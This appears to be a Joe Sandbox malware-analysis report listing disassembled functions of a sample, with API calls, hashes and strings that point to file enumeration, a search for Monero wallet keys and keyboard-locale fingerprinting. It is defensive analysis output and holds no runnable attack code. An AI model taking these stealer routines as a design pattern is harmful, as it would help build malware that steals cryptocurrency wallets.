Opcode ID: f0b6a953a8db65f228e1624c449aafc9671bd9d61425ac2df43f5a976b4c3317
Instruction ID: 52811d2bb5d2f871c9e62244c3c41e8f5271c2e40fe8a0735223e6af268ade65
Opcode Fuzzy Hash: f0b6a953a8db65f228e1624c449aafc9671bd9d61425ac2df43f5a976b4c3317
Instruction Fuzzy Hash: 0DB154719001459FCB34EF64DC99FEE7B79BF94300F4085AAA80A96241EF306B49CF96

Function 00994DBC Relevance: 15.4, Strings: 11, Instructions: 1642COMMON

Download Yara Rule

Strings

V-?, xrefs: 009961A9
V0li, xrefs: 009952E1
2>6, xrefs: 00995342
c^O, xrefs: 00995406
7D.8, xrefs: 00994ED2, 00994F2A, 00994FFC, 00995024, 00995025, 00995043, 00995044, 00995075, 0099509F, 00995113, 0099513F, 00995173
_>w, xrefs: 00995D6A
*"Gr, xrefs: 00995747
N7?, xrefs: 00995ADA
X@`V, xrefs: 00995957
=Ewy, xrefs: 0099541D
7V?V, xrefs: 00996060

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2>6$*"Gr$7D.8$7V?V$=Ewy$N7?$V-?$V0li$X@`V$_>w$c^O
API String ID: 0-1929444058
Opcode ID: 07435698134651fd486eb74240cf005b6b6a8e81d9ab5eaaf794637c647f82d2
Instruction ID: d3a76ae37f36b06e5d4895297421f552755ac4752d1e36eda5e54184084246ae
Opcode Fuzzy Hash: 07435698134651fd486eb74240cf005b6b6a8e81d9ab5eaaf794637c647f82d2
Instruction Fuzzy Hash: 1EB227F360C2009FE3046E2DDC8567AFBE9EF94720F1A893DEAC587744EA3558058697

Function 005C16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005E510C,?,?,?,005E51B4,?,?,00000000,?,00000000), ref: 005C1923
StrCmpCA.SHLWAPI(?,005E525C), ref: 005C1973
StrCmpCA.SHLWAPI(?,005E5304), ref: 005C1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005C1D40
DeleteFileA.KERNEL32(00000000), ref: 005C1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 005C1E20
FindClose.KERNEL32(000000FF), ref: 005C1E32

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Strings

\*.*, xrefs: 005C17F1

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: bd8d0e202273cc5618808084fcd5bd8602430a528caf8253ceae7e09c25fdcd7
Instruction ID: fb0f09d9525e309d4b9a14e1b6b7ae99a66978e2eb5133ed9a378f0f93dc6414
Opcode Fuzzy Hash: bd8d0e202273cc5618808084fcd5bd8602430a528caf8253ceae7e09c25fdcd7
Instruction Fuzzy Hash: D01211719101599BCB29EB64CC9AEEF7B78BF94300F40419BB50662291EF306F89CF95

Function 005CDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,005E0C2E), ref: 005CDE5E
StrCmpCA.SHLWAPI(?,005E14C8), ref: 005CDEAE
StrCmpCA.SHLWAPI(?,005E14CC), ref: 005CDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 005CE3E0
FindClose.KERNEL32(000000FF), ref: 005CE3F2

Strings

\*.*, xrefs: 005CDE26

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 94cf5413f6039012790f9eb69921319645f86da50c5685820fae63f2000bf0b6
Instruction ID: 5e3873efbe96ca7138bc086d8e0ceaedb450cb150d5b8553bd2a4a44041a4d40
Opcode Fuzzy Hash: 94cf5413f6039012790f9eb69921319645f86da50c5685820fae63f2000bf0b6
Instruction Fuzzy Hash: 36F191718101599ADB29EB64CC9AEEF7738BF94300F8041DBA40A62191EF306F89DF55

Function 005CDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005E14B0,005E0C2A), ref: 005CDAEB
StrCmpCA.SHLWAPI(?,005E14B4), ref: 005CDB33
StrCmpCA.SHLWAPI(?,005E14B8), ref: 005CDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 005CDDCC
FindClose.KERNEL32(000000FF), ref: 005CDDDE

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c604059a5b17e9568b352f2e832ee843ab02110530c1a7f280cd809c70932d34
Instruction ID: 2e32abef9df58cb8274e586371fd5b676be65b365542bea9edd5631025dc8e45
Opcode Fuzzy Hash: c604059a5b17e9568b352f2e832ee843ab02110530c1a7f280cd809c70932d34
Instruction Fuzzy Hash: 97914B729001059BCB14FBB4DC5AEEE7B7DBFC4300F40856AF90A96245EE349B49CB96

Function 005D7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

GetKeyboardLayoutList.USER32(00000000,00000000,005E05AF), ref: 005D7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 005D7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 005D7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 005D7C62
LocalFree.KERNEL32(00000000), ref: 005D7D22

Strings

/ , xrefs: 005D7C7F

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: ab77f9ca7cdfbdc7658fd1fbdcae7751c369e0b55d2ca5913881977c2fe99873
Instruction ID: 252824740974da9de7652f7231ba4fd4755de78db23923ab4d87223245ae1b36
Opcode Fuzzy Hash: ab77f9ca7cdfbdc7658fd1fbdcae7751c369e0b55d2ca5913881977c2fe99873
Instruction Fuzzy Hash: C3413E7195021DABDB24DB58DC99BEEBB74FF48700F20419BE40962291DB742F85CFA1

Function 0098FC59 Relevance: 10.4, Strings: 7, Instructions: 1637COMMON

Download Yara Rule

Strings

DH}, xrefs: 0098FD2B
gYuG, xrefs: 00990366
q_?, xrefs: 0099061E
ph7~, xrefs: 00990BFB
., xrefs: 0098FCA4
=2/, xrefs: 009900D4
a<Zw, xrefs: 0098FFE9

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$=2/$DH}$a<Zw$gYuG$ph7~$q_?
API String ID: 0-2370584753
Opcode ID: 12123123a85776d79a9f74ba8be88745d46a5ad68b50b1ca763c6b92a2c02703
Instruction ID: 16de28dce564fb7c2d128a2136d4f237baaa82b96bafc941cca9a80e9b28d3e7
Opcode Fuzzy Hash: 12123123a85776d79a9f74ba8be88745d46a5ad68b50b1ca763c6b92a2c02703
Instruction Fuzzy Hash: 47B238F360C200AFE3086E2DEC9567ABBE5EF94720F16463DEAC4C7744EA3558058796

Function 0099847F Relevance: 10.4, Strings: 7, Instructions: 1635COMMON

Download Yara Rule

Strings

oy_, xrefs: 009997F6
EI}, xrefs: 00999485
#yg_, xrefs: 009987E9
eV, xrefs: 00998921
5(?{, xrefs: 00998E80
GP_}, xrefs: 009986E9
GIXD, xrefs: 0099919F

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: oy_$#yg_$5(?{$EI}$GIXD$GP_}$eV
API String ID: 0-2648983576
Opcode ID: e0230cd943f6d48727a60190027f2859c2184ffcee7c71da2bb639ea9d206652
Instruction ID: 9163f4b63f04377e734f20bce37f3e592ba3bf1a0f3acbf10c934f6f6880c611
Opcode Fuzzy Hash: e0230cd943f6d48727a60190027f2859c2184ffcee7c71da2bb639ea9d206652
Instruction Fuzzy Hash: 9BB2D8F360C204AFE704AE2DEC8577AB7E9EF94720F16492DE6C4C7744EA3598018696

Function 005CE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,005E0D73), ref: 005CE4A2
StrCmpCA.SHLWAPI(?,005E14F8), ref: 005CE4F2
StrCmpCA.SHLWAPI(?,005E14FC), ref: 005CE508
FindNextFileA.KERNEL32(000000FF,?), ref: 005CEBDF

Strings

\*.*, xrefs: 005CE44D

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 094fb4d3de3b41d3217a393696a2ffcffa81f1eb589d19cf8a9592e3c7dad4d3
Instruction ID: 83957a699950ebf663f88d6397735f4f398bd2d77b428fc921b518fda0446eb4
Opcode Fuzzy Hash: 094fb4d3de3b41d3217a393696a2ffcffa81f1eb589d19cf8a9592e3c7dad4d3
Instruction Fuzzy Hash: 7D1233719101159ADB28FB74DC9AEEF7B38BF94300F40419BB50A56291EE306F89CF96

Function 0098C74C Relevance: 9.1, Strings: 6, Instructions: 1597COMMON

Download Yara Rule

Strings

Vbk{, xrefs: 0098D3F3
jggn, xrefs: 0098C7F3
P[k, xrefs: 0098D875
tUMg, xrefs: 0098CCF2
o |, xrefs: 0098DA34
=J^n, xrefs: 0098D347

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: =J^n$P[k$Vbk{$jggn$o |$tUMg
API String ID: 0-1730141673
Opcode ID: 6469733ccab473227094a6e2981bd72c83f4787e17ad127c9777cabe37371e66
Instruction ID: 242b40a6e51cf7df78612f356038984df2f714dbe7f5643c00f37e4430021b4b
Opcode Fuzzy Hash: 6469733ccab473227094a6e2981bd72c83f4787e17ad127c9777cabe37371e66
Instruction Fuzzy Hash: EBB217F360C2049FE7046E2DEC8567AFBE9EF94720F1A493DEAC5C3740EA7558018696

Function 0098E1D5 Relevance: 9.1, Strings: 6, Instructions: 1584COMMON

Download Yara Rule

Strings

eR], xrefs: 0098F466
b2, xrefs: 0098E34E
T=x, xrefs: 0098E703, 0098E738, 0098E76C, 0098E81B, 0098E890, 0098E8C4, 0098E8F1, 0098E93D
NeyW, xrefs: 0098EC3E
Z[1], xrefs: 0098F283
2v{_, xrefs: 0098E3BC

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2v{_$NeyW$T=x$Z[1]$eR]$b2
API String ID: 0-2572319919
Opcode ID: 7fbcc70a74b797d104e1ffb04547d2650e37b29c6fd406c780335df0f4569ab5
Instruction ID: e5bbcf1ad8d4322bbae21e99c5601d0ba964ceb84a46706ffcd8abff29bc0406
Opcode Fuzzy Hash: 7fbcc70a74b797d104e1ffb04547d2650e37b29c6fd406c780335df0f4569ab5
Instruction Fuzzy Hash: 84B217F390C2049FE704AE2DEC8567ABBE9EF94720F16453DEAC4C7344EA3598058796

Function 005C9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N\,00000000,00000000), ref: 005C9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,005C4EEE,00000000,?), ref: 005C9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N\,00000000,00000000), ref: 005C9B2A
LocalFree.KERNEL32(?,?,?,?,005C4EEE,00000000,?), ref: 005C9B3F

Strings

N\, xrefs: 005C9AD4, 005C9AE1, 005C9AF9, 005C9B18, 005C9AE4, 005C9B1B

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
